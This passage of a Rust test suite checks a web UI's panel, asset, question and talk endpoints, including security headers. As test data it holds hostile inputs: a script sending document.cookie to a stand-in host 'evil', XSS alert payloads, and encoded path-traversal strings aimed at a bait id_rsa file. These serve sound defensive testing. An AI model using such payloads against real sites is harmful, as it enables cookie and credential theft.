4674 let fx = Fixture::start().await;
4675 let id = panel(
4676 &fx,
4677 "<h1>Merge?</h1><img src=\"diff.svg\">",
4678 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
4679 );
4680
4681 for path in [
4682 format!("/api/questions/{id}/panel"),
4683 format!("/api/questions/{id}/asset/diff.svg"),
4684 ] {
4685 let res = fx.get(&path).await;
4686 assert_eq!(res.status, 200, "{path}: {}", res.body);
4687 assert_eq!(
4693 res.header("content-security-policy"),
4694 Some(
4695 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
4696 font-src data:; base-uri 'none'; form-action 'none'; \
4697 frame-ancestors 'self'"
4698 ),
4699 "{path} is the only thing between a hostile panel and the tailnet"
4700 );
4701 assert_eq!(
4702 res.header("x-content-type-options"),
4703 Some("nosniff"),
4704 "{path}: a browser must not re-decide the type we sent"
4705 );
4706 assert_eq!(
4707 res.header("referrer-policy"),
4708 Some("no-referrer"),
4709 "{path}: a panel must not leak the question id off the machine"
4710 );
4711
4712 let pre = fx.head(&path).await;
4717 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
4718 assert_eq!(
4719 pre.header("content-security-policy"),
4720 res.header("content-security-policy"),
4721 "{path}: the preflight carries the same policy"
4722 );
4723 assert_eq!(
4724 pre.header("content-type"),
4725 res.header("content-type"),
4726 "{path}: the preflight carries the same type"
4727 );
4728 }
4729 }
4730
4731 #[tokio::test]
4732 async fn a_panel_reaches_the_browser_byte_for_byte() {
4733 let fx = Fixture::start().await;
4734 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
4739 let id = panel(&fx, html, &[]);
4740
4741 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
4742
4743 assert_eq!(res.status, 200);
4744 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
4745 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
4746 assert_eq!(
4747 res.header("content-disposition"),
4748 None,
4749 "the panel itself is rendered in the frame, not downloaded"
4750 );
4751 }
4752
4753 #[tokio::test]
4754 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
4755 let fx = Fixture::start().await;
4756 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
4757 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
4758 let id = panel(
4759 &fx,
4760 "<img src=\"diff.svg\"><img src=\"shot.png\">",
4761 &[("diff.svg", svg), ("shot.png", png)],
4762 );
4763
4764 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
4765 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
4766
4767 assert_eq!(as_svg.status, 200);
4768 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
4769 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
4774
4775 assert_eq!(as_png.status, 200);
4776 assert_eq!(as_png.header("content-type"), Some("image/png"));
4777 assert_eq!(
4778 as_png.header("content-disposition"),
4779 None,
4780 "a raster image has no execution surface, so tapping it still shows it"
4781 );
4782 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
4783 }
4784
4785 #[tokio::test]
4786 async fn an_html_asset_is_never_served_as_html() {
4787 let fx = Fixture::start().await;
4788 let id = panel(
4789 &fx,
4790 "<p>see the notes</p>",
4791 &[
4792 (
4793 "notes.html",
4794 b"<script>fetch('http://evil/'+document.cookie)</script>",
4795 ),
4796 ("hook.js", b"fetch('http://evil/')"),
4797 ("data.json", b"{}"),
4798 ("HEADLINE.TXT", b"plain"),
4799 ],
4800 );
4801
4802 for name in ["notes.html", "hook.js", "data.json"] {
4803 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
4804 assert_eq!(res.status, 200, "{name}: {}", res.body);
4805 assert_eq!(
4810 res.header("content-type"),
4811 Some("application/octet-stream"),
4812 "{name} must not be a type the browser will execute or render"
4813 );
4814 }
4815 let txt = fx
4818 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
4819 .await;
4820 assert_eq!(
4821 txt.header("content-type"),
4822 Some("text/plain; charset=utf-8")
4823 );
4824 }
4825
4826 #[tokio::test]
4827 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
4828 let fx = Fixture::start().await;
4829 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
4830 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
4834
4835 for encoded in [
4842 "%2e%2e%2fid_rsa",
4843 "..%2fid_rsa",
4844 "..%5cid_rsa",
4845 "%2e%2e%5cid_rsa",
4846 "diff%00.svg",
4847 "..",
4848 ".hidden",
4849 "%2e%2e%2f%2e%2e%2fid_rsa",
4850 ] {
4851 let res = fx
4852 .get(&format!("/api/questions/{id}/asset/{encoded}"))
4853 .await;
4854 assert_eq!(
4855 res.status, 400,
4856 "`{encoded}` has to be refused by name, not looked up: {}",
4857 res.body
4858 );
4859 assert!(res.json()["error"].is_string(), "{}", res.body);
4860 }
4861
4862 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
4868 let res = fx
4869 .get(&format!("/api/questions/{id}/asset/{literal}"))
4870 .await;
4871 assert_eq!(
4872 res.status, 404,
4873 "`{literal}` must not match the asset route at all: {}",
4874 res.body
4875 );
4876 }
4877 }
4878
4879 #[tokio::test]
4880 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
4881 let fx = Fixture::start().await;
4882 let plain = ask(&fx, "Which backend?", &["SQLite"]);
4883 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
4884
4885 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
4889 assert_eq!(none.status, 404, "{}", none.body);
4890 assert!(none.json()["error"].is_string(), "{}", none.body);
4891 assert_eq!(
4892 fx.head(&format!("/api/questions/{plain}/panel"))
4893 .await
4894 .status,
4895 404,
4896 "the preflight is the only way the client can learn this"
4897 );
4898
4899 let missing = fx
4901 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
4902 .await;
4903 assert_eq!(missing.status, 404, "{}", missing.body);
4904 assert!(missing.json()["error"].is_string(), "{}", missing.body);
4905
4906 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
4908 assert_eq!(
4909 fx.get("/api/questions/nope/asset/diff.svg").await.status,
4910 404
4911 );
4912 }
4913
4914 #[tokio::test]
4915 async fn a_run_with_an_open_question_reads_as_waiting() {
4916 let fx = Fixture::start().await;
4917 let run = "20260902-000000-beef".to_owned();
4918 write_run(&fx.runs(), &run, RunStatus::Implementing);
4919
4920 let before = fx.get("/api/runs").await.json();
4921 assert_eq!(before[0]["waiting"], false, "{before}");
4922
4923 let store = fx.questions();
4924 let mut q = Question::new(
4925 run.clone(),
4926 "implement".to_owned(),
4927 "impl-A".to_owned(),
4928 "Which backend?".to_owned(),
4929 String::new(),
4930 vec!["SQLite".to_owned()],
4931 );
4932 store.put(&mut q).expect("put");
4933
4934 let during = fx.get("/api/runs").await.json();
4935 assert_eq!(during[0]["waiting"], true, "{during}");
4936
4937 q.answer(Answer::Choice("SQLite".to_owned()))
4940 .expect("answer");
4941 store.put(&mut q).expect("put");
4942 let after = fx.get("/api/runs").await.json();
4943 assert_eq!(after[0]["waiting"], false, "{after}");
4944 }
4945
4946 #[tokio::test]
4947 async fn an_open_question_is_listed_and_counted_by_health() {
4948 let fx = Fixture::start().await;
4949 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
4950
4951 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4952 let listed = fx.get("/api/questions").await.json();
4953 assert_eq!(listed.as_array().expect("array").len(), 1);
4954 assert_eq!(listed[0]["id"], id);
4955 assert_eq!(listed[0]["status"], "open");
4956 assert_eq!(listed[0]["choices"][1], "Redis");
4957 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
4960 }
4961
4962 #[tokio::test]
4963 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
4964 let fx = Fixture::start().await;
4965 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4966 let path = format!("/api/questions/{id}/answer");
4967
4968 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
4969 assert_eq!(res.status, 200, "{}", res.body);
4970 let body = res.json();
4971 assert_eq!(body["status"], "answered");
4972 assert_eq!(body["answer"]["choice"], "Redis");
4973
4974 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
4978 assert_eq!(again.status, 409, "{}", again.body);
4979 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
4980 }
4981
4982 #[tokio::test]
4983 async fn saying_something_appends_a_turn_without_answering() {
4984 let fx = Fixture::start().await;
4985 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4986 let path = format!("/api/questions/{id}/say");
4987
4988 let res = fx
4989 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
4990 .await;
4991 assert_eq!(res.status, 200, "{}", res.body);
4992 let body = res.json();
4993 assert_eq!(body["status"], "open", "talking back is not a decision");
4994 assert_eq!(body["answer"], Value::Null);
4995 assert_eq!(body["thread"][0]["who"], "operator");
4996 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
4997 assert_eq!(body["waiting_on_agent"], true);
4998 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5000 }
5001
5002 #[tokio::test]
5003 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
5004 let fx = Fixture::start().await;
5005 let store = fx.questions();
5006 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5007 assert_eq!(
5008 fx.get("/api/health").await.json()["questions_needs_owner"],
5009 1
5010 );
5011
5012 let res = fx
5018 .post(
5019 &format!("/api/questions/{id}/say"),
5020 Some(r#"{"body":"why not Postgres?"}"#),
5021 )
5022 .await;
5023 assert_eq!(res.status, 200, "{}", res.body);
5024 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5025 assert_eq!(
5026 fx.get("/api/health").await.json()["questions_needs_owner"],
5027 0,
5028 "waiting on the agent is not waiting on the owner"
5029 );
5030
5031 let mut q = store.get(&id).expect("get");
5035 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
5036 .expect("reply");
5037 store.put(&mut q).expect("put");
5038 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5039 assert_eq!(
5040 fx.get("/api/health").await.json()["questions_needs_owner"],
5041 1,
5042 "the agent's reply is what should light the banner back up"
5043 );
5044 }
5045
5046 #[tokio::test]
5047 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
5048 let fx = Fixture::start().await;
5049 let store = fx.questions();
5050
5051 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5052 let res = fx
5053 .post(
5054 &format!("/api/questions/{empty_id}/say"),
5055 Some(r#"{"body":" "}"#),
5056 )
5057 .await;
5058 assert_eq!(res.status, 400, "{}", res.body);
5059
5060 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5061 let mut answered = store.get(&answered_id).expect("get");
5062 answered
5063 .answer(Answer::Choice("SQLite".to_owned()))
5064 .expect("answer");
5065 store.put(&mut answered).expect("put");
5066 let res = fx
5067 .post(
5068 &format!("/api/questions/{answered_id}/say"),
5069 Some(r#"{"body":"still there?"}"#),
5070 )
5071 .await;
5072 assert_eq!(res.status, 409, "{}", res.body);
5073
5074 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5075 let mut abandoned = store.get(&abandoned_id).expect("get");
5076 abandoned.abandon("timed out");
5077 store.put(&mut abandoned).expect("put");
5078 let res = fx
5079 .post(
5080 &format!("/api/questions/{abandoned_id}/say"),
5081 Some(r#"{"body":"still there?"}"#),
5082 )
5083 .await;
5084 assert_eq!(res.status, 409, "{}", res.body);
5085 }
5086
5087 #[tokio::test]
5088 async fn an_answer_the_question_does_not_offer_is_refused() {
5089 let fx = Fixture::start().await;
5090 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5091 let path = format!("/api/questions/{id}/answer");
5092
5093 for body in [
5094 r#"{"choice":"Postgres"}"#,
5095 r#"{"text":"whatever you think"}"#,
5096 r#"{"choice":"Redis","text":"both"}"#,
5097 r#"{}"#,
5098 ] {
5099 let res = fx.post(&path, Some(body)).await;
5100 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
5101 assert!(res.json()["error"].is_string(), "{}", res.body);
5102 }
5103 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5105 }
5106
5107 #[tokio::test]
5108 async fn a_free_text_question_takes_text_and_not_a_choice() {
5109 let fx = Fixture::start().await;
5110 let id = ask(&fx, "What should the flag be called?", &[]);
5111 let path = format!("/api/questions/{id}/answer");
5112
5113 assert_eq!(
5114 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
5115 400
5116 );
5117 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
5118 assert_eq!(res.status, 200, "{}", res.body);
5119 assert_eq!(res.json()["answer"]["text"], "--json");
5120 }
5121
5122 #[tokio::test]
5123 async fn an_unknown_question_is_a_json_404() {
5124 let fx = Fixture::start().await;
5125 let res = fx
5126 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
5127 .await;
5128 assert_eq!(res.status, 404, "{}", res.body);
5129 assert!(res.json()["error"].is_string());
5130 }
5131
5132 #[tokio::test]
5139 async fn a_task_cannot_be_filed_over_the_phone_directly() {
5140 let f = Fixture::start().await;
5141
5142 let res = f
5143 .post(
5144 "/api/queue",
5145 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
5146 )
5147 .await;
5148
5149 assert_eq!(
5150 res.status, 405,
5151 "POST /api/queue must not be a route: {}",
5152 res.body
5153 );
5154 assert!(
5155 f.queue().list().is_empty(),
5156 "a task filed by a route that does not exist must not reach the disk"
5157 );
5158 assert_eq!(f.get("/api/queue").await.status, 200);
5161 }
5162
5163 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
5165 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
5166 .expect("checkout dir");
5167 }
5168
5169 #[tokio::test]
5170 async fn repos_list_returns_name_and_path_for_every_configured_root() {
5171 let tmp = TempDir::new().expect("tempdir");
5172 let repo = tmp.path().join("repo");
5173 std::fs::create_dir_all(&repo).expect("repo dir");
5174 let root = tmp.path().join("root");
5175 make_checkout(&root, "github.com", "yukimemi", "magi");
5176 std::fs::write(
5177 repo.join("magi.toml"),
5178 format!(
5179 "[repos]\nroots = [{:?}]\n",
5180 root.to_string_lossy().into_owned()
5181 ),
5182 )
5183 .expect("write magi.toml");
5184
5185 let f = Fixture::with_repo(repo).await;
5186 let res = f.get("/api/repos").await;
5187 assert_eq!(res.status, 200, "{}", res.body);
5188 let list = res.json();
5189 let repos = list.as_array().expect("an array");
5190 assert_eq!(repos.len(), 1);
5191 assert_eq!(repos[0]["name"], "yukimemi/magi");
5192 assert!(
5193 repos[0]["path"]
5194 .as_str()
5195 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
5196 "{list}"
5197 );
5198 }
5199
5200 #[tokio::test]
5201 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
5202 let tmp = TempDir::new().expect("tempdir");
5203 let repo = tmp.path().join("repo");
5204 std::fs::create_dir_all(&repo).expect("repo dir");
5205 let root = tmp.path().join("root");
5206 make_checkout(&root, "github.com", "yukimemi", "magi");
5207 std::fs::write(
5208 repo.join("magi.toml"),
5209 format!(
5210 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
5211 root.to_string_lossy().into_owned()
5212 ),
5213 )
5214 .expect("write magi.toml");
5215
5216 let f = Fixture::with_repo(repo).await;
5217 let first = f.get("/api/repos").await;
5218 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
5219
5220 make_checkout(&root, "github.com", "yukimemi", "rvpm");
5223 let second = f.get("/api/repos").await;
5224 assert_eq!(
5225 second.json().as_array().map(Vec::len),
5226 Some(1),
5227 "a fresh cache must not rescan inside the TTL"
5228 );
5229
5230 let refreshed = f.get("/api/repos?refresh=1").await;
5231 assert_eq!(
5232 refreshed.json().as_array().map(Vec::len),
5233 Some(2),
5234 "an explicit refresh must rescan even inside the TTL"
5235 );
5236 }
5237
5238 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
5244
5245 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
5249 let tmp = TempDir::new().expect("tempdir");
5250 let repo = tmp.path().join("repo");
5251 std::fs::create_dir_all(&repo).expect("repo dir");
5252 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
5253 let f = Fixture::with_repo(repo.clone()).await;
5254 (tmp, repo, f)
5255 }
5256
5257 #[tokio::test]
5258 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
5259 let (_tmp, _repo, f) = talk_fixture().await;
5260
5261 let opened = f.post("/api/talks", None).await;
5264 assert_eq!(opened.status, 201, "{}", opened.body);
5265 let body = opened.json();
5266 assert_eq!(body["status"], "open");
5267 assert_eq!(
5268 body["turns"].as_array().unwrap().len(),
5269 0,
5270 "opening takes no agent turn: there is nothing yet to answer"
5271 );
5272
5273 let also_opened = f.post("/api/talks", Some("{}")).await;
5275 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
5276
5277 let listed = f.get("/api/talks").await.json();
5278 assert_eq!(listed.as_array().unwrap().len(), 2);
5279 }
5280
5281 #[tokio::test]
5282 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
5283 let f = Fixture::start().await;
5284 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
5285 let queue = f.queue();
5286 let mut mine = Task::new(
5287 "rename the loader".to_owned(),
5288 "rename the loader".to_owned(),
5289 PathBuf::from("/repo/magi"),
5290 Source::Agent {
5291 run: talk_id.clone(),
5292 node: "chat".to_owned(),
5293 },
5294 );
5295 queue.put(&mut mine).expect("file the task");
5296 let mut theirs = Task::new(
5297 "unrelated".to_owned(),
5298 "unrelated".to_owned(),
5299 PathBuf::from("/repo/magi"),
5300 Source::Human,
5301 );
5302 queue.put(&mut theirs).expect("file the task");
5303
5304 let res = f.get(&format!("/api/talks/{talk_id}")).await;
5305 assert_eq!(res.status, 200, "{}", res.body);
5306 let body = res.json();
5307 assert_eq!(
5308 body["status"], "open",
5309 "filing a task does not close a talk"
5310 );
5311 let tasks = body["tasks"].as_array().expect("tasks array");
5312 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
5313 assert_eq!(tasks[0]["id"], mine.id);
5314 }
5315
5316 #[tokio::test]
5317 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
5318 let (_tmp, _repo, f) = talk_fixture().await;
5319 let id = f.post("/api/talks", None).await.json()["id"]
5320 .as_str()
5321 .expect("id")
5322 .to_owned();
5323
5324 let res = f
5325 .post(
5326 &format!("/api/talks/{id}/say"),
5327 Some(r#"{"text":"what does the queue module do?"}"#),
5328 )
5329 .await;
5330 assert_eq!(res.status, 202, "{}", res.body);
5331 let queued = res.json();
5332 let turns = queued["turns"].as_array().expect("turns array");
5333 assert_eq!(
5334 turns.len(),
5335 1,
5336 "the answer reflects only what is on disk the instant it is sent, \
5337 before the agent's turn - which can run for the whole of \
5338 `[graph] timeout_talk` - has a chance to land: {queued}"
5339 );
5340 assert_eq!(turns[0]["who"], "operator");
5341 assert_eq!(turns[0]["body"], "what does the queue module do?");
5342 assert_eq!(
5343 queued["thinking"], true,
5344 "the accepted response exposes the background turn claim: {queued}"
5345 );
5346
5347 let mut turns_after = 1;
5348 for _ in 0..SETTLE_STEPS {
5349 let detail = f.get(&format!("/api/talks/{id}")).await.json();
5350 turns_after = detail["turns"].as_array().expect("turns array").len();
5351 if turns_after == 2 {
5352 break;
5353 }
5354 tokio::time::sleep(Duration::from_millis(10)).await;
5355 }
5356 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
5357 }
5358
5359 #[tokio::test]
5386 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
5387 let tmp = TempDir::new().expect("tempdir");
5388 let repo = tmp.path().join("repo");
5389 std::fs::create_dir_all(&repo).expect("repo dir");
5390 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
5391 let home = TempDir::new().expect("temp home");
5392 let talks = Talks::at(home.path().join("talks"));
5393 let ui = Arc::new(
5394 Ui::new(
5395 Queue::at(home.path().join("queue")),
5396 Questions::at(home.path().join("questions")),
5397 talks.clone(),
5398 home.path().join("runs"),
5399 home.path().to_path_buf(),
5400 repo.clone(),
5401 )
5402 .with_worktrees_root(home.path().join("wt")),
5403 );
5404 let cfg = config_for(&repo).await.expect("discover config");
5405
5406 for delay in 0..40u32 {
5407 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
5408 let id = talk.id.clone();
5409
5410 let handler = tokio::spawn(talk_say(
5411 State(Arc::clone(&ui)),
5412 Path(id.clone()),
5413 Ok(Json(NewTalkTurn {
5414 text: "what does the queue module do?".to_owned(),
5415 attachments: Vec::new(),
5416 })),
5417 ));
5418 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
5419 handler.abort();
5420 let _ = handler.await;
5423
5424 let mut turns = 0;
5425 for _ in 0..SETTLE_STEPS {
5426 if let Ok(fresh) = talks.get(&id) {
5427 turns = fresh.turns.len();
5428 if turns != 1 {
5429 break;
5430 }
5431 }
5432 tokio::time::sleep(Duration::from_millis(10)).await;
5433 }
5434 assert_ne!(
5435 turns, 1,
5436 "delay {delay}: talk {id} recorded the operator's turn but \
5437 the agent never answered - the reply task was never \
5438 started after the handler future was dropped"
5439 );
5440 }
5441 }
5442
5443 #[tokio::test]
5488 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
5489 let tmp = TempDir::new().expect("tempdir");
5490 let repo = tmp.path().join("repo");
5491 std::fs::create_dir_all(&repo).expect("repo dir");
5492 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
5493 let home = TempDir::new().expect("temp home");
5494 let talks = Talks::at(home.path().join("talks"));
5495 let ui = Arc::new(
5496 Ui::new(
5497 Queue::at(home.path().join("queue")),
5498 Questions::at(home.path().join("questions")),
5499 talks.clone(),
5500 home.path().join("runs"),
5501 home.path().to_path_buf(),
5502 repo.clone(),
5503 )
5504 .with_worktrees_root(home.path().join("wt")),
5505 );
5506 let cfg = config_for(&repo).await.expect("discover config");
5507
5508 for attempt in 0..3u32 {
5509 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
5510 let id = talk.id.clone();
5511 let turn_guard = ui
5514 .begin_talk_turn(&id)
5515 .expect("claim the turn")
5516 .expect("a fresh talk owes nobody a turn");
5517
5518 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
5519 let (release_tx, release_rx) = std::sync::mpsc::channel();
5520 ui.set_busy_queue_gate(BusyQueueGate {
5521 reached: reached_tx,
5522 release: release_rx,
5523 });
5524
5525 let handler = tokio::spawn(talk_say(
5526 State(Arc::clone(&ui)),
5527 Path(id.clone()),
5528 Ok(Json(NewTalkTurn {
5529 text: "what does the queue module do?".to_owned(),
5530 attachments: Vec::new(),
5531 })),
5532 ));
5533
5534 tokio::time::timeout(Duration::from_secs(5), reached_rx)
5539 .await
5540 .unwrap_or_else(|_| {
5541 panic!(
5542 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
5543 )
5544 })
5545 .expect("the busy branch dropped the gate without using it");
5546
5547 let running = talks.get(&id).expect("reload talk");
5554 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
5555
5556 handler.abort();
5560 let _ = handler.await;
5561
5562 let _ = release_tx.send(());
5568
5569 let mut fresh = talks.get(&id).expect("reload talk");
5572 for _ in 0..SETTLE_STEPS {
5573 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
5574 break;
5575 }
5576 tokio::time::sleep(Duration::from_millis(10)).await;
5577 fresh = talks.get(&id).expect("reload talk");
5578 }
5579 assert!(
5580 fresh.pending.is_empty() && fresh.turns.len() == 2,
5581 "attempt {attempt}: talk {id} left the operator's text queued \
5582 with no drainer - the reclaimed turn was dropped along with \
5583 the handler future (pending {:?}, {} turns)",
5584 fresh.pending,
5585 fresh.turns.len()
5586 );
5587 }
5588 }
5589
5590 #[tokio::test]
5591 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
5592 let (_tmp, _repo, f) = talk_fixture().await;
5593 let id = f.post("/api/talks", None).await.json()["id"]
5594 .as_str()
5595 .expect("id")
5596 .to_owned();
5597 let store = f.talks();
5598 let mut recovered = store.get(&id).expect("opened talk");
5599 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
5600 .expect("persist pending draft without a live turn");
5601
5602 let edited = f
5603 .post(
5604 &format!("/api/talks/{id}/pending/edit"),
5605 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
5606 )
5607 .await;
5608 assert_eq!(edited.status, 200, "{}", edited.body);
5609 assert!(edited.json()["thinking"].as_bool().unwrap());
5610
5611 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
5612 for _ in 0..SETTLE_STEPS {
5613 if detail["turns"].as_array().expect("turns").len() == 2 {
5614 break;
5615 }
5616 tokio::time::sleep(Duration::from_millis(10)).await;
5617 detail = f.get(&format!("/api/talks/{id}")).await.json();
5618 }
5619 let turns = detail["turns"].as_array().expect("turns");
5620 assert_eq!(
5621 turns.len(),
5622 2,
5623 "the recovered draft must run once: {detail}"
5624 );
5625 assert_eq!(turns[0]["body"], "corrected");
5626 assert_eq!(detail["pending"], "");
5627 }
5628
5629 #[tokio::test]
5630 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
5631 let tmp = TempDir::new().expect("tempdir");
5632 let repo = tmp.path().join("repo");
5633 std::fs::create_dir_all(&repo).expect("repo dir");
5634 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
5635 let f = Fixture::with_repo(repo).await;
5636 let id = f.post("/api/talks", None).await.json()["id"]
5637 .as_str()
5638 .expect("id")
5639 .to_owned();
5640 let store = f.talks();
5641 let mut recovered = store.get(&id).expect("opened talk");
5642 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
5643 .expect("persist pending draft without a live turn");
5644
5645 let refused = f
5646 .post(
5647 &format!("/api/talks/{id}/say"),
5648 Some(r#"{"text":"new message"}"#),
5649 )
5650 .await;
5651 assert_eq!(refused.status, 409, "{}", refused.body);
5652 assert!(refused.body.contains("resume"), "{}", refused.body);
5653 let saved = store.get(&id).expect("draft remains after refusal");
5654 assert!(saved.turns.is_empty());
5655 assert_eq!(saved.pending, "saved before restart");
5656
5657 let say_path = format!("/api/talks/{id}/say");
5658 let (first, second) = tokio::join!(
5659 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
5660 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
5661 );
5662 assert_eq!(first.status, 409, "{}", first.body);
5663 assert_eq!(second.status, 409, "{}", second.body);
5664 let saved = store
5665 .get(&id)
5666 .expect("draft remains after concurrent refusals");
5667 assert!(saved.turns.is_empty());
5668 assert_eq!(saved.pending, "saved before restart");
5669
5670 let resumed = f
5671 .post(&format!("/api/talks/{id}/pending/resume"), None)
5672 .await;
5673 assert_eq!(resumed.status, 202, "{}", resumed.body);
5674 let duplicate = f
5675 .post(&format!("/api/talks/{id}/pending/resume"), None)
5676 .await;
5677 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
5678
5679 for _ in 0..SETTLE_STEPS {
5680 if store.get(&id).expect("talk").turns.len() == 2 {
5681 break;
5682 }
5683 tokio::time::sleep(Duration::from_millis(10)).await;
5684 }
5685 let finished = store.get(&id).expect("finished talk");
5686 assert_eq!(finished.turns.len(), 2, "{finished:?}");
5687 assert_eq!(finished.turns[0].body, "saved before restart");
5688 assert!(finished.pending.is_empty());
5689 }
5690
5691 #[tokio::test]
5692 async fn an_image_only_recovered_draft_resumes_without_text() {
5693 let (_tmp, _repo, f) = talk_fixture().await;
5694 let id = f.post("/api/talks", None).await.json()["id"]
5695 .as_str()
5696 .expect("id")
5697 .to_owned();
5698 let uploaded = f
5699 .post_bytes(
5700 &format!("/api/talks/{id}/attachments"),
5701 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
5702 PNG_BYTES,
5703 )
5704 .await;
5705 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
5706 let attachment = f
5707 .talks()
5708 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
5709 .expect("attachment metadata")
5710 .expect("stored attachment");
5711 let store = f.talks();
5712 let mut recovered = store.get(&id).expect("opened talk");
5713 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
5714
5715 let resumed = f
5716 .post(&format!("/api/talks/{id}/pending/resume"), None)
5717 .await;
5718 assert_eq!(resumed.status, 202, "{}", resumed.body);
5719 for _ in 0..SETTLE_STEPS {
5720 if store.get(&id).expect("talk").turns.len() == 2 {
5721 break;
5722 }
5723 tokio::time::sleep(Duration::from_millis(10)).await;
5724 }
5725 let finished = store.get(&id).expect("finished talk");
5726 assert_eq!(finished.turns.len(), 2, "{finished:?}");
5727 assert!(finished.turns[0].body.is_empty());
5728 assert_eq!(finished.turns[0].attachments.len(), 1);
5729 assert!(finished.pending_attachments.is_empty());
5730 }
5731
5732 #[tokio::test]
5733 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
5734 let (_tmp, _repo, f) = talk_fixture().await;
